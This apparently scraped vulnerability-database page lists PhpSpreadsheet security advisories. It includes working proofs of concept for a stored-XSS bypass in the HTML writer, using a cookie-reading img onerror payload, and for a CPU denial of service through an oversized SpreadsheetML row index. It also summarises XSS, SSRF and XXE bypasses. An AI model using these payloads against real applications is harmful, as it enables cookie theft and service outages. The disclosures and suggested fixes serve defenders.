PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes. ## The Problem In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`: ```php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); } ``` When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**. Even a single trailing space in the format (`@ `) is enough to bypass the escape. ## Proof of Concept ```php use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; use PhpOffice\PhpSpreadsheet\Cell\DataType; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); // XSS payload with malicious number format $sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @'); $writer = new Html($spreadsheet); $writer->save('output.html'); ``` The generated HTML contains: ```html <td>. <img src=x onerror=alert(document.cookie)></td> ``` The XSS payload is **completely unescaped**. ## Tested Bypass Formats | Format Code | Result | Escaped? | |---|---|---| | `General` (default) | Original value | YES (safe) | | `. @` | `. ` + value | **NO (XSS!)** | | `@ ` (trailing space) | value + ` ` | **NO (XSS!)** | | `x@` | `x` + value | **NO (XSS!)** | This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser. ## Impact Any application that: 1. Accepts uploaded XLSX files from users 2. Converts them to HTML using PhpSpreadsheet's HTML writer 3. Displays the HTML to other users ...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`. ## Suggested Fix Always apply `htmlspecialchars()` regardless of whether formatting changed the value: ```php // Instead of conditional escaping: $cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); ``` Or escape AFTER formatting, not conditionally based on equality. ## Reporter Keyvan Hardani |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-raun-sztd-gub9
Aliases: CVE-2026-40863 GHSA-84wq-86v6-x5j6 |
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader ## Summary The SpreadsheetML XML reader (`Reader\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index="999999999"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. ## Details In `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements: ```php // Xml.php:397-402 if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW } if (isset($row_ss['Hidden'])) { $rowVisible = ((string) $row_ss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); } ``` The `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`: ```php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` This inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`. The `RowIterator` constructor uses `getHighestRow()` as its default end row: ```php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; } ``` With `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells. Even without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability. ## PoC 1. Create `poc.xml`: ```xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook> ``` 2. Load and iterate: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000 // This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes } ``` ## Impact Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by: - Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP max_execution_time limits that still consume resources before killing the process The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file. ## Recommended Fix Add MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`: ```php // After line 398: if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; if ($rowID > AddressRange::MAX_ROW) { $rowID = AddressRange::MAX_ROW; } } ``` Add the necessary import at the top of the file: ```php use PhpOffice\PhpSpreadsheet\Cell\AddressRange; ``` The same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-tebr-cwcv-3bam
Aliases: CVE-2025-23210 GHSA-r57h-547h-w24f |
PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters **Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link **Impact:** executing arbitrary JavaScript code in the browser **Vulnerable component:** class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateRow` **Exploitation conditions:** a user viewing a specially generated xml file **Mitigation:** additional sanitization of special characters in a string **Researcher: Igor Sak-Sakovskiy (Positive Technologies)** |
Affected by 6 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-v6u5-m45s-tbch
Aliases: CVE-2025-54370 GHSA-rx7m-68vc-ppxh |
PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser **Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-918: Server-Side Request Forgery (SSRF) **CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) **CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) **Description:** SSRF occurs when a processed HTML document is read and displayed in the browser **Impact:** Server-Side Request Forgery **Vulnerable component:** the `PhpOffice\PhpSpreadsheet\Worksheet\Drawing` class, `setPath` method **Exploitation conditions:** getting a string from the user that is passed to the HTML reader **Mitigation:** improved processing of the `$path` variable of the `setPath` method of the `PhpOffice\PhpSpreadsheet\Worksheet\Drawing` class is needed **Researcher: Aleksey Solovev (Positive Technologies)** |
Affected by 5 other vulnerabilities. Affected by 5 other vulnerabilities. Affected by 5 other vulnerabilities. |
|
VCID-wbjg-h8tu-vqak
Aliases: CVE-2025-22131 GHSA-79xx-vf93-p7cx |
Cross-Site Scripting (XSS) vulnerability in generateNavigation() function in PhpSpreadsheet The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response. |
Affected by 7 other vulnerabilities. Affected by 7 other vulnerabilities. |
|
VCID-zajr-jwtc-5kav
Aliases: CVE-2024-48917 GHSA-7cc9-j4mv-vcjp |
XXE in PHPSpreadsheet's XLSX reader The XmlScanner class has a scan method which should prevent XXE attacks. However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex |
Affected by 15 other vulnerabilities. Affected by 15 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-8dqz-421x-mbes | XXE in PHPSpreadsheet encoding is returned Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) |
CVE-2024-45048
GHSA-ghg6-32f9-2jp7 |